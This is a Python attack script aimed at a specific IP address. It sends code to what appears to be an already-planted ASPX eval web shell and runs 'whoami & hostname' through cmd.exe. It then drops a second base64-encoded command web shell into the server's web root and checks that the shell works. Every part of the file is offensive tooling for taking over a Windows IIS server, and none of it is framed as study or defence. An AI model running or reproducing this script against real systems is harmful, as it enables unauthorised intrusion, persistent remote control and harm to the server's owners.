#!/usr/bin/env python3
import base64, requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://41.231.84.161/aspnet_client/gdmarz.aspx"
def ev(code): return requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=30).text.split('!BD')[0]

# 1) test cmd.exe availability
t = ev('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c whoami & hostname";p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();Response.Write("CMD<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}')
print("[cmdtest]", t[:160], flush=True)

# 2) write clean cmd-shell aspx
JS = ('<script language="JScript" runat="server" Page aspcompat=true>'
      'function Page_Load(){var c=Request["cmd"];if(c!=null){try{'
      'var p=new System.Diagnostics.Process();'
      'p.StartInfo.FileName="C:\\\\Windows\\\\System32\\\\cmd.exe";'
      'p.StartInfo.Arguments="/c "+c;p.StartInfo.UseShellExecute=false;'
      'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;'
      'p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
      'p.WaitForExit();Response.Write(o);}catch(e){Response.Write("EXC:"+e.message);}}}</script>')
b64 = base64.b64encode(JS.encode()).decode()
for p in ["C:\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\c.aspx"]:
    code = ('var b=System.Convert.FromBase64String("{0}");var fp="{1}";try{{System.IO.File.WriteAllBytes(fp,b);Response.Write("DROPPED exists="+System.IO.File.Exists(fp));}}catch(e){{Response.Write("ERR:"+e.message);}}').format(b64, p)
    print("[write]", ev(code)[:100], flush=True)

# 3) verify
for u in ["https://41.231.84.161/aspnet_client/c.aspx"]:
    try:
        r = requests.get(u, params={"cmd": "whoami & hostname"}, verify=False, timeout=25)
        print(f"[verify] {u} -> {r.status_code} {r.text[:120]!r}", flush=True)
    except Exception as e:
        print(f"[verify] err {type(e).__name__} {str(e)[:80]}", flush=True)